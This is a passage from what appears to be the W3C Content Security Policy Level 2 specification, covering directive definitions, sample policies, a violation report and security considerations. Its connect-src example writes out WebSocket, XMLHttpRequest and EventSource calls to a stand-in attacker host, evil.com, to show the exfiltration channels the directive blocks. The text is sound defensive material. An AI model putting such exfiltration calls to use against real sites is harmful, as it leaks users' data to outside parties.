The task source for these tasks is the Content Security Policy task source.

7 Directives

This section describes the content security policy directives introduced in this specification. Directive names are case insensitive.

In order to protect against Cross-Site Scripting (XSS), web application authors SHOULD include:

In either case, authors SHOULD NOT include either 'unsafe-inline' or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.

Redirects are another area of potential concern. Authors SHOULD NOT include 'unsafe-redirect' as valid sources in their policies. It makes it more difficult to reason about the complete set of resources that a policy allows, especially given the path behavior outlined in the §4.2.2.3 Paths and Redirects section.

7.1 base-uri

The base-uri directive restricts the URIs that can be used to specify the document base URL. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "base-uri"
directive-value   = source-list

The term allowed base URIs refers to the result of parsing the base-uri directive’s value as a source list.

Step 4 of the algorithm defined in HTML5 to obtain a document’s base URL MUST be changed to:

  1. If the previous step was not successful, or the result of the previous step does not match the allowed base URIs, then the document base URL is fallback base URL. Otherwise, it is the result of the previous step.

7.2 child-src

The child-src directive governs the creation of nested browsing contexts as well as Worker execution contexts. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "child-src"
directive-value   = source-list

The term allowed child sources refers to the result of parsing the child-src directive’s value as a source list if a child-src directive is explicitly specified, and otherwise to the default sources.

7.2.1 Nested Browsing Contexts

To enforce the child-src directive the user agent MUST enforce the frame-src directive.

7.2.2 Workers

Whenever the user agent fetches a URL while processing the Worker or SharedWorker constructors [WORKERS], the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation if the URI does not match the allowed child sources.

7.3 connect-src

The connect-src directive restricts which URIs the protected resource can load using script interfaces. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "connect-src"
directive-value   = source-list

The term allowed connection targets refers to the result of parsing the connect-src directive’s value as a source list if the policy contains an explicit connect-src directive, or otherwise to the default sources.

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed connection targets, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

7.3.1 Usage

This section is not normative.

JavaScript offers a few mechanisms that directly connect to an external server to send or receive information. EventSource maintains an open HTTP connection to a server in order to receive push notifications, WebSockets open a bidirectional communication channel between your browser and a server, and XMLHttpRequest makes arbitrary HTTP requests on your behalf. These are powerful APIs that enable useful functionality, but also provide tempting avenues for data exfiltration.

The connect-src directive allows you to ensure that these sorts of connections are only opened to origins you trust. Sending a policy that defines a list of source expressions for this directive is straightforward. For example, to limit connections to only example.com, send the following header:

Content-Security-Policy: connect-src example.com

All of the following will fail with the preceding directive in place:

  • new WebSocket("wss://evil.com/");
  • (new XMLHttpRequest()).open("GET", "https://evil.com/", true);
  • new EventSource("https://evil.com");

7.4 default-src

The default-src directive sets a default source list for a number of directives. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "default-src"
directive-value   = source-list

Let the default sources be the result of parsing the default-src directive’s value as a source list if a default-src directive is explicitly specified, and otherwise the U+002A ASTERISK character (*).

To enforce the default-src directive, the user agent MUST enforce the following directives:

If not specified explicitly in the policy, the directives listed above will use the default sources as their source list.

7.4.1 Usage

This section is not normative.

default-src, as the name implies, serves as a default source list which the other source list-style directives will use as a fallback if they’re not otherwise explicitly set. That is, consider the following policy declaration:

Content-Security-Policy: default-src 'self'

Under this policy, fonts, frames, images, media, objects, scripts, and styles will all only load from the same origin as the protected resource, and connections will only be made to the same origin. Adding a more specific declaration to the policy would completely override the default source list for that resource type.

Content-Security-Policy: default-src 'self'; script-src example.com

Under this new policy, fonts, frames, and etc. continue to be load from the same origin, but scripts will only load from example.com. There’s no inheritance; the script-src directive sets the allowed sources of script, and the default list is not used for that resource type.

Given this behavior, one good way of building a policy for a site would be to begin with a default-src of 'none', and to build up a policy from there that contains only those resource types which are actually in use for the page you’d like to protect. If you don’t use webfonts, for instance, there’s no reason to specify a source list for font-src; specifying only those resource types a page uses ensures that the possible attack surface for that page remains as small as possible.

7.5 font-src

The font-src directive restricts from where the protected resource can load fonts. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "font-src"
directive-value   = source-list

The term allowed font sources refers to the result of parsing the font-src directive’s value as a source list if the policy contains an explicit font-src, or otherwise to the default sources.

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed font sources, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for display in a font, such as when processing the <@font-face> Cascading Style Sheets (CSS) rule.

7.6 form-action

The form-action restricts which URIs can be used as the action of HTML form elements. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "form-action"
directive-value   = source-list

The term allowed form actions refers to the result of parsing the form-action directive’s value as a source list.

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed form actions, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

Note: form-action does not fall back to the default sources when the directive is not defined. That is, a policy that defines default-src 'none' but not form-action will still allow form submissions to any target.

7.7 frame-ancestors

The frame-ancestors directive indicates whether the user agent should allow embedding the resource using a frame, iframe, object, embed or applet tag, or equivalent functionality in non-HTML resources. Resources can use this directive to avoid many UI Redressing [UIREDRESS] attacks by avoiding being embedded into potentially hostile contexts.

The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name  = "frame-ancestors"
directive-value = source-list

The term allowed frame ancestors refers to the result of parsing the frame-ancestors directive’s value as a source list. If a frame-ancestors directive is not explicitly included in the policy, then allowed frame ancestors is "*".

To enforce the frame-ancestors directive, whenever the user agent would load the protected resource into a nested browsing context, the user agent MUST perform the following steps:

  1. Let nestedContext be the nested browsing context into which the protected resource is being loaded.
  2. Let ancestorList be the list of all ancestors of nestedContext.
  3. For each ancestorContext in ancestorList:
    1. Let document be ancestorContext’s active document.
    2. If document’s URL does not match the allowed frame ancestors, the user agent MUST:
      1. Abort loading the protected resource.
      2. Act as if it received an empty HTTP 200 response.
      3. Parse a sandboxing directive using the empty string as the input and the newly created document’s forced sandboxing flag set as the output.

Steps 2.2 and 2.3 ensure that the blocked frame appears to be a normal cross-origin document’s load. If these steps are ignored, leakage of a document’s policy state is possible. The user agent MAY implement these steps by instead redirecting the user to friendly error page in a unique origin which provides the option of opening the blocked page in a new top-level browsing context.

The frame-ancestors directive MUST be ignored when monitoring a policy, and when a contained in a policy defined via a meta element.

Note: frame-ancestors does not fall back to the default sources when the directive is not defined. That is, a policy that defines default-src 'none' but not frame-ancestors will still allow the resource to be framed from anywhere.

When generating a violation report for a frame-ancestors violation, the user agent MUST NOT include the value of the embedding ancestor as a blocked-uri value unless it is same-origin with the protected resource, as disclosing the value of cross-origin ancestors is a violation of the Same-Origin Policy.

7.7.1 Relation to X-Frame-Options

This directive is similar to the X-Frame-Options header that several user agents have implemented. The 'none' source expression is roughly equivalent to that header’s DENY, 'self' to SAMEORIGIN, and so on. The major difference is that many user agents implement SAMEORIGIN such that it only matches against the top-level document’s location. This directive checks each ancestor. If any ancestor doesn’t match, the load is cancelled. [RFC7034]

The frame-ancestors directive obsoletes the X-Frame-Options header. If a resource has both policies, the frame-ancestors policy SHOULD be enforced and the X-Frame-Options policy SHOULD be ignored.

7.7.2 Multiple Host Source Values

This section is not normative.

Multiple source-list expressions are allowed in a single policy (in contrast to X-Frame-Options, which allows only one) to enable scenarios involving embedded application components that are multiple levels below the top-level browsing context.

Many common scenarios for permissioned embedding (e.g. embeddable payment, sharing or social apps) involve potentially many hundreds or thousands of valid source-list expressions, but it is strongly recommended against accommodating such scenarios with a static frame-ancestors directive listing multiple values. In such cases it is beneficial to generate this value dynamically, based on an HTTP Referer header or an explicitly passed-in value, to allow only the sources necessary for each given embedding of the resource.

Consider a service providing a payments application at https://payments/makeEmbedded. The service allows this resource to be embedded by both merchant Alice and merchant Bob, who compete with each other. Sending:

Content-Security-Policy: frame-ancestors https://alice https://bob

would allow Bob to re-frame Alice’s resource and create fraudulent clicks, perhaps discrediting Alice with her customers or the payments service. If the payments service used additional information (e.g. as part of a URL like https://payments/makeEmbedded?merchant=alice) to send individually-tailored headers listing only the source-list expressions needed by each merchant, this attack would be eliminated.

7.8 frame-src

The frame-src directive is deprecated. Authors who wish to govern nested browsing contexts SHOULD use the child-src directive instead.

The frame-src directive restricts from where the protected resource can embed frames. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "frame-src"
directive-value   = source-list

The term allowed frame sources refers to the result of parsing the frame-src directive’s value as a source list if the policy contains an explicit frame-src, or otherwise to the list of allowed child sources.

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed frame sources, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

7.9 img-src

The img-src directive restricts from where the protected resource can load images. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "img-src"
directive-value   = source-list

The term allowed image sources refers to the result of parsing the img-src directive’s value as a source list if the policy contains an explicit img-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed image sources, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for an image, such as when processing the src or srcset attributes of an img element, the src attribute of an input element with a type of image, the poster attribute of a video element, the url(), <image()> or <image-set()> values on any Cascading Style Sheets (CSS) property that is capable of loading an image [CSS4-IMAGES], or the href attribute of a link element with an image-related rel attribute, such as icon.

7.10 media-src

The media-src directive restricts from where the protected resource can load video, audio, and associated text tracks. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "media-src"
directive-value   = source-list

The term allowed media sources refers to the result of parsing the media-src directive’s value as a source list if the policy contains an explicit media-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed media sources, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for a video or audio clip, such as when processing the src attribute of a video, audio, source, or track elements.

7.11 object-src

The object-src directive restricts from where the protected resource can load plugins. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "object-src"
directive-value   = source-list

The term allowed object sources refers to the result of parsing the object-src directive’s value as a source list if the policy contains an explicit object-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed object sources, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

It is not required that the consumer of the element’s data be a plugin in order for the object-src directive to be enforced. Data for any object, embed, or applet element MUST match the allowed object sources in order to be fetched. This is true even when the element data is semantically equivalent to content which would otherwise be restricted by one of the other directives, such as an object element with a text/html MIME type.

Whenever the user agent would load a plugin without an associated URI (e.g., because the object element lacked a data attribute), if the protected resource’s URI does not match the allowed object sources, the user agent MUST NOT load the plugin.

7.12 plugin-types

The plugin-types directive restricts the set of plugins that can be invoked by the protected resource by limiting the types of resources that can be embedded. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "plugin-types"
directive-value   = media-type-list

The term allowed plugin media types refers to the result of parsing the plugin-types directive’s value as a media type list.

Whenever the user agent would instantiate a plugin to handle resource while enforcing the plugin-types directive, the user agent MUST instead act as though the plugin reported an error and report a violation if any of the following conditions hold:

  • The plugin is embedded into the protected resource via an object or embed element that does not explicitly declare a MIME type via a type attribute.
  • resource’s media type does not match the list of allowed plugin media types.
  • The plugin is embedded into the protected resource via an object or embed element, and the media type declared in the element’s type attribute is not a case-insensitive match for the resource’s media type.
  • The plugin is embedded into the protected resource via an applet element, and resource’s media type is not a case-insensitive match for application/x-java-applet.

Note: In any of these cases, acting as though the plugin reported an error will cause the user agent to display the fallback content.

Whenever the user agent creates a plugin document in a nested browsing context in the protected resource, if the user agent is enforcing any plugin-types directives for the protected resource, the user agent MUST enforce those plugin-types directives on the plugin document as well.

Whenever the user agent creates a plugin document in a nested browsing context in the protected resource, if the user agent is monitoring any plugin-types directives for the protected resource, the user agent MUST monitor those plugin-types directives on the plugin document as well.

7.12.1 Usage

This section is not normative.

The plugin-types directive whitelists a certain set of MIME types that can be embedded in a protected resource. For example, a site might want to ensure that PDF content loads, but that no other plugins can be instantiated. The following directive would satisfy that requirement:

Content-Security-Policy: plugin-types application/pdf

Resources embedded via an embed or object element delivered with an application/pdf content type would be rendered in the appropriate plugin; resources delivered with some other content type would be blocked. Multiple types can be specified, in any order. If the site decided to additionally allow Flash at some point in the future, it could do so with the following directive:

Content-Security-Policy: plugin-types application/pdf application/x-shockwave-flash

Note: Wildcards are not accepted in the plugin-types directive. Only the resource types explicitly listed in the directive will be allowed.

7.12.2 Predeclaration of expected media types

This section is not normative.

Enforcing the plugin-types directive requires that object and embed elements declare the expected media type of the resource they include via the type attribute. If an author expects to load a PDF, she could specify this as follows:

<object data="resource" type="application/pdf"></object>

If resource isn’t actually a PDF file, it won’t load. This prevents certain types of attacks that rely on serving content that unexpectedly invokes a plugin other than that which the author intended.

Note: resource will not load in this scenario even if its media type is otherwise whitelisted: resources will only load when their media type is whitelisted and matches the declared type in their containing element.

7.13 referrer

The referrer directive specifies a referrer policy that the user agent applies when determining what referrer information should be included with requests made, and with browsing contexts created from the context of the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "referrer"
directive-value   = "none" / "none-when-downgrade" / "origin" / "origin-when-cross-origin" / "unsafe-url"

Note: The directive name does not share the HTTP header’s misspelling.

The term referrer policy refers to the value of the referrer directive, or to none-when-downgrade if no referrer directive is present in the protected resource’s policy.

If the value of the referrer directive is invalid, the user agent SHOULD set the referrer policy to never.

Replace step 7 of the "Determine referrer" algorithm defined in Fetch with the following:

  1. If referrer is null, or if the referrer policy is none, return null.
  2. If the referrer policy is origin, return the ASCII serialization of referrer’s origin. [RFC6454]
  3. If the referrer policy is origin-when-cross-origin, return referrer if referrer’s origin is the same as the origin of the resource being fetched, and otherwise the ASCII serialization of referrer’s origin. [RFC6454]
  4. If the referrer policy is unsafe-url, return referrer. Note that this might cause HTTPS referrer information to be sent over the network as part of unencrypted HTTP requests.
  5. If the referrer policy is none-when-downgrade, then:
    • Return null if the scheme component of referrer represents a protocol that uses transport-layer security and the scheme component of the resource being fetched does not.
    • Otherwise return referrer.

Note: This specification should not be interpreted as limiting user agents' ability to apply other restrictions to limit referrer leakage.

7.13.1 Processing multiple referrer policies

If a referrer policy is specified in multiple places (e.g. both a meta element and a referrer directive), resolve the conflict as follows:

  1. If all referrer policies have the same value, the protected resource’s referrer policy is that value.
  2. Otherwise, the protected resource’s referrer policy is none.
7.13.1.1 Usage

This section is not normative.

A protected resource can prevent referrer leakage by specifying none as the value of its policy’s referrer directive:

Content-Security-Policy: referrer none;

This will cause all requests made from the protected resource’s context to have an empty Referer [sic] header.

7.14 reflected-xss

The reflected-xss directive instructs a user agent to activate or deactivate any heuristics used to filter or block reflected cross-site scripting attacks. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "reflected-xss"
directive-value   = "allow" / "block" / "filter"

A user agent with support for XSS protection MUST enforce this directive as follows:

  • If the value of the directive is allow, the user agent MUST disable its active protections against reflected cross-site scripting attacks for the protected resource.
  • If the value of the directive is filter, the user agent MUST enable its active protections against reflected cross-site scripting attacks for the protected resource. This might result in filtering script that is believed to be reflected being filtered or selectively blocking script execution.
  • If the value of the directive is block, the user agent MUST stop rendering the protected resource upon detection of reflected script, and instead act as if there was a fatal network error and no resource was obtained, and report a violation:

If the user agent’s active protections against reflected cross-site scripting attacks detect or prevent script execution, the user agent MUST report a violation.

Note: The reflected-xss directive will be ignored if contained within a meta element.

7.14.1 Relationship to X-XSS-Protection

This directive is meant to subsume the functionality provided by the proprietary X-XSS-Protection HTTP header which is supported by a number of user agents. Roughly speaking:

  • reflected-xss allow is equivalent to X-XSS-Protection: 0
  • reflected-xss filter is equivalent to X-XSS-Protection: 1
  • reflected-xss block is equivalent to X-XSS-Protection: 1; mode=block

7.15 report-uri

The report-uri directive specifies a URI to which the user agent sends reports about policy violation. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "report-uri"
directive-value   = uri-reference *( 1*WSP uri-reference )
uri-reference     = <URI-reference from RFC 3986>

The set of report URIs is the value of the report-uri directive, each resolved relative to the protected resource’s URI.

The process of sending violation reports to the URIs specified in this directive’s value is defined in this document’s §4.4 Reporting section.

Note: The report-uri directive will be ignored if contained within a meta element.

7.16 sandbox

The sandbox directive specifies an HTML sandbox policy that the user agent applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "sandbox"
directive-value   = sandbox-token *( 1*WSP sandbox-token )
sandbox-token     = <token from RFC 7230>

When enforcing the sandbox directive, the user agent MUST parse a sandboxing directive using the directive-value as the input and protected resource’s forced sandboxing flag set as the output. [HTML5]

Note: The sandbox directive will be ignored when monitoring a policy, and when contained in a policy defined via a meta element.

7.16.1 Usage

This section is not normative.

HTML5 defines a sandbox attribute for iframe elements, intended to allow web authors to reduce the risk of including potentially untrusted content by imposing restrictions on that content’s abilities. When the attribute is set, the content is forced into a unique origin, prevented from submitting forms, running script, creating or navigating other browsing contexts, and prevented from running plugins. These restrictions can be loosened by setting certain flags as the attribute’s value.

The sandbox directive allows any resource, framed or not, to ask for the same sorts of restrictions to be applied to itself.

For example, a message board or email system might provide downloads of arbitrary attachments provided by other users. Attacks that rely on tricking a client into rendering one of these attachments could be mitigated by requesting that resources only be rendered in a very restrictive sandbox. Sending the sandbox directive with an empty value establishes such an environment:

Content-Security-Policy: sandbox

More trusted resources might be allowed to run in an environment with fewer restrictions by adding allow-* flags to the directive’s value. For example, you can allow a page that you trust to run script, while ensuring that it isn’t treated as same-origin with the rest of your site. This can be accomplished by sending the sandbox directive with the allow-scripts flag:

Content-Security-Policy: sandbox allow-scripts

The set of flags available to the CSP directive should match those available to the iframe attribute. Currently, those include:

Note: Like the rest of Content Security Policy, the sandbox directive is meant as a defense-in-depth. Web authors would be well-served to use it in addition to standard sniffing-mitigation and privilege-reduction techniques.

7.17 script-src

The script-src directive restricts which scripts the protected resource can execute. The directive also controls other resources, such as XSLT style sheets [XSLT], which can cause the user agent to execute script. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "script-src"
directive-value   = source-list

The term allowed script sources refers to the result of parsing the script-src directive’s value as a source list if the policy contains an explicit script-src, or otherwise to the default sources.

If 'unsafe-inline' is not in the list of allowed script sources, or if at least one nonce-source or hash-source is present in the list of allowed script sources:

  • Whenever the user agent would execute an inline script from a script element that lacks a valid nonce and lacks a valid hash for the allowed script sources, instead the user agent MUST NOT execute script, and MUST report a violation.
  • Whenever the user agent would execute an inline script from an inline event handler, instead the user agent MUST NOT execute script, and MUST report a violation.
  • Whenever the user agent would execute script contained in a javascript URI, instead the user agent MUST NOT execute the script, and MUST report a violation.

If 'unsafe-eval' is not in allowed script sources:

  • Instead of evaluating their arguments, both operator eval and function eval [ECMA-262] MUST throw an EvalError exception.
  • When called as a constructor, the function Function [ECMA-262] MUST throw an EvalError exception.
  • When called with a first argument that is not callable (a string, for example), the setTimeout() function MUST return zero without creating a timer.
  • When called with a first argument that is not callable (a string, for example), the setInterval() function MUST return zero without creating a timer.

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed script sources, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting a script while processing the src attribute of a script element that lacks a valid nonce for the allowed script sources.
  • Requesting a script while invoking the importScripts method on a WorkerGlobalScope object. [WORKERS]
  • Requesting an HTML component, such as when processing the href attribute of a link element with a rel attribute containing the token import. [HTML-IMPORTS]
  • Requesting an Extensible Stylesheet Language Transformations (XSLT) [XSLT], such as when processing the <?xml-stylesheet?> processing directive in an XML document [XML11], the href attributes on <xsl:include> and <xsl:import> elements.

7.17.1 Nonce usage for script elements

This section is not normative.

The script-src directive lets developers specify exactly which script elements on a page were intentionally included for execution. Ideally, developers would avoid inline script entirely and whitelist scripts by URL. However, in some cases, removing inline scripts can be difficult or impossible. For those cases, developers can whitelist scripts using a randomly generated nonce.

Usage is straightforward. For each request, the server generates a unique value at random, and includes it in the Content-Security-Policy header:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'nonce-$RANDOM'

This same value is then applied as a nonce attribute to each script element that ought to be executed. For example, if the server generated the random value Nc3n83cnSAd3wc3Sasdfn939hc3, the server would send the following policy:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'

Script elements can then execute either because their src URLs are whitelisted or because they have a valid nonce:

<script>
alert("Blocked because the policy doesn’t have 'unsafe-inline'.")
</script>

<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
alert("Still blocked because nonce is wrong.")
</script>

<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
alert("Allowed because nonce is valid.")
</script>

<script src="https://example.com/allowed-because-of-src.js"></script>

<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa"
    src="https://elsewhere.com/blocked-because-nonce-is-wrong.js"></script>

<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3"
    src="https://elsewhere.com/allowed-because-nonce-is-valid.js"></script>

Note that the nonce’s value is not a hash or signature that verifies the contents of the script resources. It’s quite simply a random string that informs the user agent which scripts were intentionally included in the page.

Script elements with the proper nonce execute, regardless of whether they’re inline or external. Script elements without the proper nonce don’t execute unless their URLs are whitelisted. Even if an attacker is able to inject markup into the protected resource, the attack will be blocked by the attacker’s inability to guess the random value.

7.17.2 Hash usage for script elements

This section is not normative.

The script-src directive lets developers whitelist a particular inline script by specifying its hash as an allowed source of script.

Usage is straightforward. The server computes the hash of a particular script block’s contents, and includes the base64 encoding of that value in the Content-Security-Policy header:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'sha256-base64 encoded hash'

Each inline script block’s contents are hashed, and compared against the whitelisted value. If there’s a match, the script is executed. For example, the SHA-256 digest of alert('Hello, world.'); is YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo=. If the server sent the following header:

Content-Security-Policy: script-src 'sha256-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='

Then the following script tag would result in script execution:

<script>alert('Hello, world.');</script>

Whitespace is significant. The following scripts blocks would not hash to the same value, and would therefore not execute:

<script> alert('Hello, world.');</script>
<script>alert('Hello, world.'); </script>
<script> alert('Hello, world.'); </script>
<script>
alert('Hello, world.');
</script>

Note also that the hash applies only to inline script. An externalized script containing the value alert('Hello, world.'); would not execute if its origin was not whitelisted as a valid source of script.

7.18 style-src

The style-src directive restricts which styles the user may applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "style-src"
directive-value   = source-list

The term allowed style sources refers to the result of parsing the style-src directive’s value as a source list if the policy contains an explicit style-src, or otherwise to the default sources.

If 'unsafe-inline' is not in the list of allowed style sources, or if at least one nonce-source or hash-source is present in the list of allowed style sources:

Note: These restrictions on inline do not prevent the user agent from applying style from an external stylesheet (e.g., found via <link rel="stylesheet" ...>).

If 'unsafe-eval' is not in allowed style sources, then:

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed style sources, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting external style sheets, such as when processing the href attribute of a link element with a rel attribute containing the token stylesheet or when processing the <@import> directive in a stylesheet.

Note: The style-src directive does not restrict the use of XSLT. XSLT is restricted by the script-src directive because the security consequences of including an untrusted XSLT stylesheet are similar to those incurred by including an untrusted script.

7.18.1 Nonce usage for style elements

This section is not normative.

See the script-src nonce usage information for detail; the application of nonces to style elements is similar enough to avoid repetition here.

7.18.2 Hash usage for style elements

This section is not normative.

See the script-src hash usage information for detail; the application of hashes to style elements is similar enough to avoid repetition here.

8 Examples

8.1 Sample Policy Definitions

This section provides some sample use cases and supporting policies.

A server wishes to load resources only from its own origin:
Content-Security-Policy: default-src 'self'
An auction site wishes to load images from any URI, plugin content from a list of trusted media providers (including a content distribution network), and scripts only from a server under its control hosting sanitized ECMAScript:
Content-Security-Policy:
    default-src 'self'; img-src *;
    object-src media1.example.com media2.example.com *.cdn.example.com;
    script-src trustedscripts.example.com
An online banking site wishes to ensure that all of the content in its pages is loaded over TLS to prevent attackers from eavesdropping on insecure content requests:
Content-Security-Policy: default-src https: 'unsafe-inline' 'unsafe-eval'

This policy allows inline content (such as inline script elements), use of eval, and loading resources over https. Note: This policy does not provide any protection from cross-site scripting vulnerabilities.

A website that relies on inline script elements wishes to ensure that script is only executed from its own origin, and those elements it intentionally inserted inline:
Content-Security-Policy: script-src 'self' 'nonce-$RANDOM';

The inline script elements would then only execute if they contained a matching nonce attribute:

<script nonce="$RANDOM">...</script>

8.2 Sample Violation Report

This section contains an example violation report the user agent might sent to a server when the protected resource violations a sample policy.

In the following example, the user agent rendered a representation of the resource http://example.org/page.html with the following policy:

default-src 'self'; report-uri http://example.org/csp-report.cgi

The protected resource loaded an image from http://evil.example.com/image.png, violating the policy.

{
  "csp-report": {
    "document-uri": "http://example.org/page.html",
    "referrer": "http://evil.example.com/haxor.html",
    "blocked-uri": "http://evil.example.com/image.png",
    "violated-directive": "default-src 'self'",
    "effective-directive": "img-src",
    "original-policy": "default-src 'self'; report-uri http://example.org/csp-report.cgi"
  }
}

9 Security Considerations

9.1 Cascading Style Sheet (CSS) Parsing

The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "stylesheets" hosted by an otherwise trustworthy origin.

These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.

9.2 Violation Reports

The violation reporting mechanism in this document has been designed to mitigate the risk that a malicious web site could use violation reports to probe the behavior of other servers. For example, consider a malicious web site that white lists https://example.com as a source of images. If the malicious site attempts to load https://example.com/login as an image, and the example.com server redirects to an identity provider (e.g., idenityprovider.example.net), CSP will block the request. If violation reports contained the full blocked URI, the violation report might contain sensitive information contained in the redirected URI, such as session identifiers or purported identities. For this reason, the user agent includes only the origin of the blocked URI.

10 Implementation Considerations

The Content-Security-Policy header is an end-to-end header. It is processed and enforced at the client and, therefore, SHOULD NOT be modified or removed by proxies or other intermediaries not in the same administrative domain as the resource.

The originating administrative domain for a resource might wish to apply a Content-Security-Policy header outside of the immediate context of an application. For example, a large organization might have many resources and applications managed by different individuals or teams but all subject to a uniform organizational standard. In such situations, a Content-Security-Policy header might be added or combined with an existing one at a network-edge security gateway device or web application firewall. To enforce multiple policies, the administrator SHOULD combine the policy into a single header. An administrator might wish to use different combination algorithms depending on his or her intended semantics.

One sensible policy combination algorithm is to start by allowing a default set of sources and then letting individual upstream resource owners expand the set of allowed sources by including additional origins. In this approach, the resultant policy is the union of all allowed origins in the input policies.

Another sensible policy combination algorithm is to intersect the given policies. This approach enforces that content comes from a certain whitelist of origins, for example, preventing developers from including third-party scripts or content in violation of organizational standards and practices. In this approach, the combination algorithm forms the combined policy by removing disallowed hosts from the policies supplied by upstream resource owners.

Interactions between the default-src and other directives SHOULD be given special consideration when combining policies. If none of the policies contains a default-src directive, adding new src directives results in a more restrictive policy. However, if one or more of the input policies contain a default-src directive, adding new src directives might result in a less restrictive policy, for example, if the more specific directive contains a more permissive set of allowed origins.

Using a more restrictive policy than the input policy authored by the resource owner might prevent the resource from rendering or operating as intended.

Note also that migration to HTTPS from HTTP may require updates to the policy in order to keep things running as before. Source expressions like http://example.com do not match HTTPS resources. For example, administrators SHOULD carefully examine existing policies before rolling out HTTP Strict Transport Security headers for an application. [RFC6797]

11 IANA Considerations

The permanent message header field registry should be updated with the following registrations: [RFC3864]

11.1 Content-Security-Policy

Header field name
Content-Security-Policy
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy Header Field)

11.2 Content-Security-Policy-Report-Only

Header field name
Content-Security-Policy-Report-Only
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy-Report-Only Header Field)

11.3 CH-CSP

Header field name
CH-CSP
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See CH-CSP Client Hint)

12 Acknowledgements

In addition to the documents in the W3C Web Application Security working group, the work on this document is also informed by the work of the IETF websec working group, particularly that working group’s requirements document: draft-hodges-websec-framework-reqs.

A portion of the frame-ancestors directive was originally developed as X-Frame-Options. [RFC7034]

Conformance

Document conventions

Conformance requirements are expressed with a combination of descriptive assertions and RFC 2119 terminology. The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in the normative parts of this document are to be interpreted as described in RFC 2119. However, for readability, these words do not appear in all uppercase letters in this specification.

All of the text of this specification is normative except sections explicitly marked as non-normative, examples, and notes. [RFC2119]

Examples in this specification are introduced with the words "for example" or are set apart from the normative text with class="example", like this:

This is an example of an informative example.

Informative notes begin with the word "Note" and are set apart from the normative text with class="note", like this:

Note, this is an informative note.

Conformant Algorithms

Requirements phrased in the imperative as part of algorithms (such as "strip any leading space characters" or "return false and abort these steps") are to be interpreted with the meaning of the key word ("must", "should", "may", etc) used in introducing the algorithm.

Conformance requirements phrased as algorithms or specific steps can be implemented in any manner, so long as the end result is equivalent. In particular, the algorithms defined in this specification are intended to be easy to understand and are not intended to be performant. Implementers are encouraged to optimize.

Conformance Classes

A conformant user agent must implement all the requirements listed in this specification that are applicable to user agents.

A conformant server must implement all the requirements listed in this specification that are applicable to servers.

References

Normative References

[ABNF]
Dave Crocker; Paul Overell. Augmented BNF for Syntax Specifications: ABNF. RFC. URL: http://www.ietf.org/rfc/rfc5234.txt
[CSS3-FONTS]
